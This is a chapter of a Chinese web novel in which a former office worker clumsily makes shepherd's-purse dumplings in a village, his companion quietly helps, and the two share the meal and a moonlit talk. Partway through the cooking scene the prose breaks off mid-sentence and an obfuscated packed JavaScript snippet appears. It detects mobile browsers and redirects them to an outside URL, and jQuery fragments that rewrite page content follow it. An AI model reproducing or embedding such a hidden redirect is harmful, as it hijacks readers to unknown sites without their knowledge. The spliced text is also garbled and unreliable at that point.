沈叙蹲在院子里，面对着一篮子荠菜，陷入了沉思。
太阳已经落山了，天边还剩最后一抹橘红色的光，把整个院子染成暖色调。鸡们已经回笼了，村霸也回到了它专属的墙角，正在用嘴巴整理羽毛，时不时斜他一眼，眼神里带着明显的幸灾乐祸。
陆时砚真的进屋了，而且进去之后就没再出来。沈叙听见屋里传来剪辑视频的熟悉音效——那是他昨天刚学会的，Premiere导入素材时的提示音。
这个人，真的不管他了。
沈叙深吸一口气，决定自己动手。
他先把荠菜倒出来，一堆绿油油的叶子摊在地上，有的带根，有的不带，有的叶子上还有泥。他想起李大妈说的“洗干净，焯水，剁碎”，决定先从第一步开始。
院子里有水龙头，他接了一盆水，开始洗菜。荠菜很嫩，水一冲叶子就软了，软塌塌地趴在盆底。沈叙一棵一棵地洗，把根上的泥搓掉，把黄叶摘掉，把藏在叶子里的虫子抖掉。
沈叙看着手心里那只正在蠕动的小青虫，僵住了。小青虫也在他手心里蠕动，好像在找回家的路。
沈叙和它对视了一秒，然后轻轻把它放在旁边的地上，小声说：“你走吧。”小青虫蠕动了两下，头也不回地钻进了墙根的草丛里。
村霸在旁边“嘎”了一声，那表情分明在说：你居然怕虫子？
沈叙没理它，继续洗菜。
洗完菜，他想起李大妈说的“焯水”。他端着盆进厨房，打开火，烧了一锅水。
水开了，他把荠菜倒进去。荠菜一碰到热水，瞬间变成了更深的绿色，软塌塌地浮在水面上。沈叙用漏勺搅了搅，想起焯水好像不能太久，赶紧捞出来。
捞出来的荠菜缩水了一大半，从满满一盆变成小小一团。沈叙看着那团菜，心想：这够包几个饺子？
他把荠菜放在案板上晾着，然后从冰箱里找肉。陆时砚昨天买了肉，还剩一块，正好够用。他把肉拿出来解冻，然后开始研究剁馅。
沈叙把肉切成小块，然后双手握刀，开始剁。
“咚咚咚咚咚咚——”声音在厨房里炸开，震得窗户都在响。他剁得很认真，很用力，每一刀都落在肉上，把肉块从大变小，从小变碎，从碎变成……
等一下，这好像太碎了。
沈叙看着案板上那摊已经看不出是肉的肉泥，陷入了新的沉思。
李大妈好像没说要剁成这样，但事已至此，也只能这样了。把肉泥刮进碗里，然后开始处理荠菜。焯过水的荠菜挤干水分，放在案板上，切成碎末。这个他擅长，早上刚练过，切得虽然不均匀，但至少都是碎的。
荠菜末和肉泥放在一起，加上葱姜末，加上盐，加上香油，然后——
“搅拌的时候要顺着一个方向”。
沈叙记住这句话了。他拿起筷子，开始顺着一个方向搅拌。
搅了五十圈，肉和菜还是分开的。
搅了一百圈，开始有点黏糊了。
搅了两百圈，手臂酸了，但馅料终于变成一团，看起来有点像饺子馅的样子了。
沈叙擦擦汗，开始准备擀皮。
看看馅料，又看看空荡荡的面盆，忽然意识到自己漏掉了最关键的一步——他不会和面啊。
在厨房里站了一会儿，最后决定出去求助。院子里，天已经完全黑了。月亮还没升起来，只有星星在天上一闪一闪的。村霸已经睡了，把自己缩成一团白球。
沈叙走到陆时砚房间门口，敲了敲门，里面的剪辑音效停了。门打开，陆时砚出现在门口，屋里暖黄的灯光从他身后透出来。
他看着沈叙，问：“怎么了？”
沈叙：“面和好了吗？”
陆时砚愣了一下。
沈叙又说：“就是……饺子皮的面。”
陆时砚沉默了两秒，然后说：“你忙到现在，还没和面？”
沈叙点头。
陆时砚看着他，那表情很复杂，像是想笑，又像是想叹气，最后变成一种奇妙的平静，他说：“你等着。”转身进屋，过了一会儿，端出来一个面盆。
盆里是已经和好的面，用湿布盖着，白白胖胖的一大团。
陆时砚把面盆递给他：“中午和的。猜到你不会。”
沈叙接过面盆，不知道该说什么。
陆时砚已经转身往回走，走到门口，忽然停下，头也不回地说：“包好了叫我，我帮你煮。”
门关上了，沈叙站在原地，抱着那盆面，看着紧闭的门，忽然觉得眼眶有点热。他低头看了看那盆面，又看了看厨房的方向，深吸一口气，转身回去继续战斗。
沈叙在网上搜过擀皮教程，知道要把面搓成长条，切成小剂子，压扁，然后擀成圆片。
理论他都懂，实践是另一回事。
他把面从盆里拿出来，在案板上撒了点干粉，开始搓。面很软，很听话，被他搓成一条歪歪扭扭的长条。他拿起刀，开始切剂子。
第一个剂子，太大。
第二个剂子，太小。
第三个剂子，形状很奇怪。
无奈放弃了均匀的追求，把剩下的面随便切了切，数了数，一共二十三个大小不一的剂子。
然后开始擀皮。
他拿起一个小剂子，压扁，拿起擀面杖，开始擀。擀面杖在他手里不太听话，擀出来的皮一边厚一边薄，形状也不是圆的，更像一个不规则的椭圆。
擀了五个，发现自己擀皮的速度赶不上包的速度，于是决定先包再擀。
拿起一个皮，放上馅，对折，捏紧。
第一个饺子包好了。
沈叙把它放在案板上，仔细端详。
它躺着，肚子鼓鼓的，一边高一边低，捏合的地方歪歪扭扭，像一只刚刚经历了一场恶战的伤员。
沈叙沉默了一秒，拿起第二个皮。
第二个饺子比第一个强一点，至少能站住了，虽然站得歪歪斜斜，像喝醉了酒。
第三个饺子，他尝试捏花边。捏完之后看起来不像饺子，像一只长了刺的河豚。
第四个饺子，他决定不捏花边了，就简单捏紧。结果捏太紧，馅从另一边挤出来了。
第五个饺子，他吸取教训，少放馅。结果包出来扁扁的，像一只饿了三天的流浪饺子。
沈叙越包越认真，越认真越歪。等他包完第十个，回头看看前九个，忽然想起一个词：参差不齐。
这个词原来是为他的饺子准备的。
村霸不知道什么时候醒了，走到厨房门口，探进一个脑袋，看着案板上那些奇形怪状的东西，它的眼神很复杂。沈叙和它对视了一眼，说：“想笑就笑。”
村霸没笑，但它把头缩回去了。
那动作比笑还伤人。
包到第十五个，他的速度明显快了，虽然形状还是不太规则，但至少都能站住了，虽然站得摇摇晃晃。
包到第二十个，他开始掌握技巧了：皮要中间厚边缘薄，馅要不多不少，捏的时候要用力均匀。
包到第二十三个，他包出了今晚最好看的一个饺子。圆滚滚的，胖乎乎的，花边均匀，稳稳当当地站在案板上。
沈叙看着那个饺子，忽然有点感动，他把那个饺子单独放在一边，然后去叫陆时砚。
陆时砚出来的时候，看到案板上的那些饺子，脚步顿了一下。他的目光从左到右扫了一遍，又从右到左扫了一遍，最后落在那个最好看的饺子上。
“这个是你包的？”
沈叙点头。
陆时砚又看了看其他的：“这些也是你包的？”
沈叙再次点头。
陆时砚沉默了两秒，然后说：“你知道这些饺子如果去参加选美，会被直接淘汰吗？”
沈叙：“……”
陆时砚又说：“但如果是参加选丑，能拿冠军。”
沈叙面无表情地看着他。
陆时砚的嘴角弯了一点，拿起那个最好看的饺子看了看：“这个还行，及格了。”
水开了，他一个一个把饺子下进去。饺子在沸水里翻滚，有的浮起来，有的沉下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305518|198711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去，有的皮开了，露出里面的馅。
陆时砚用漏勺轻轻推了推，防止粘锅。过了一会儿，饺子们开始陆续浮起来，一个个胖乎乎的，挤在锅面上。
“熟了。”陆时砚关火，拿碗，捞饺子。
二十三个饺子，装在两个碗里，一碗十二个，一碗十一个。沈叙看着那碗十一个的，又看看陆时砚。
陆时砚把十二个的那碗推给他：“你包的，你多吃。”
沈叙接过碗，低头看着那些形状各异的饺子。在灯光下，它们好像也没那么丑了，热气腾腾的，散发着一股荠菜的清香。
他夹起一个，咬了一口。
烫。
但好吃。
荠菜和肉混在一起，鲜嫩多汁，带着香油的味道。皮虽然厚薄不均，但熟了，软软的，裹着馅料，一口下去，满嘴生香。
沈叙愣住了。
这是他包的饺子。
这是他亲手洗的菜、剁的馅、擀的皮、包出来的饺子。
这是他这辈子包的第一批饺子。
他又咬了一口，慢慢嚼着，眼眶有点热。陆时砚坐在对面，也吃了一个，嚼了嚼，咽下去，然后说：“还行。”
沈叙抬头看他。
陆时砚又吃了一个，这次说：“馅调得不错。”
沈叙眼睛亮了一下。
陆时砚接着说：“皮擀得差一点，有的太厚。但第一次这样，可以了。”
沈叙低下头，继续吃，嘴角压不下去。
两个人把饺子吃完了，一碗二十三个，一个不剩。
沈叙靠在椅背上，摸着有点撑的肚子，忽然想起一件事：“李大妈说包好了叫她，她帮尝。”
陆时砚看了他一眼，说：“现在九点半了。”
沈叙：“……”
陆时砚：“你想现在去叫她？”
沈叙想象了一下李大妈被叫起来尝饺子的画面，摇摇头。
陆时砚站起来，开始收碗。沈叙想抢着洗，被他挡开：“你包了一晚上，歇着吧。”
沈叙没坚持，就坐在那里看他洗碗。
厨房里只有哗哗的水声和碗筷碰撞的声音。暖黄的灯光照着陆时砚的背影，他的动作不紧不慢，从容得像是做过一万遍。
沈叙忽然开口：“时砚哥。”
陆时砚没回头：“嗯？”
沈叙：“你中午怎么就猜到我不会和面？”
陆时砚的动作顿了一下，然后继续洗碗：“你连鸡蛋都打不好。”
沈叙无言以对。
陆时砚又说：“而且你问我‘面和好了吗’的时候，语气很心虚。”沈叙回忆了一下，好像确实有点心虚。
水声停了。陆时砚把碗收好，擦干手，回头看他：“明天想学什么？”
沈叙想了想：“擀皮。我要把皮擀圆。”
陆时砚嘴角弯了弯：“行。”
两人走出厨房，月亮已经升起来了，清清冷冷的，把院子照得亮堂堂的。村霸在墙角睡得正香，把自己缩成一个球，偶尔动一动腿，不知道在做什么梦。
沈叙站在院子里，看着月亮，忽然说：“我以前加班到凌晨的时候，经常在窗口看月亮。”
陆时砚站在他旁边，没说话。
沈叙接着说：“那时候月亮也这样，清清冷冷的，看着特别远。我觉得我够不着它，它也照不到我。”
陆时砚侧头看他。
沈叙笑了笑：“现在好像近了一点。”
月光落在他的脸上，把他的轮廓照得很柔和。他穿着那件深灰色的西装，外面套着那条蓝布围裙，围裙上沾着面粉，狼狈又奇怪，但他笑得很放松。
陆时砚看了一会儿，收回目光，说：“月亮没变，是你变了。”
沈叙愣了一下，然后点点头：“好像是。”
两人在院子里站了一会儿，各自回屋。沈叙躺在床上，窗户开着，月光从老槐树的缝隙里漏进来，在床单上晃成一片碎银。远处有狗叫，近处有虫鸣，村霸偶尔在睡梦中“嘎”一声，然后又安静下去。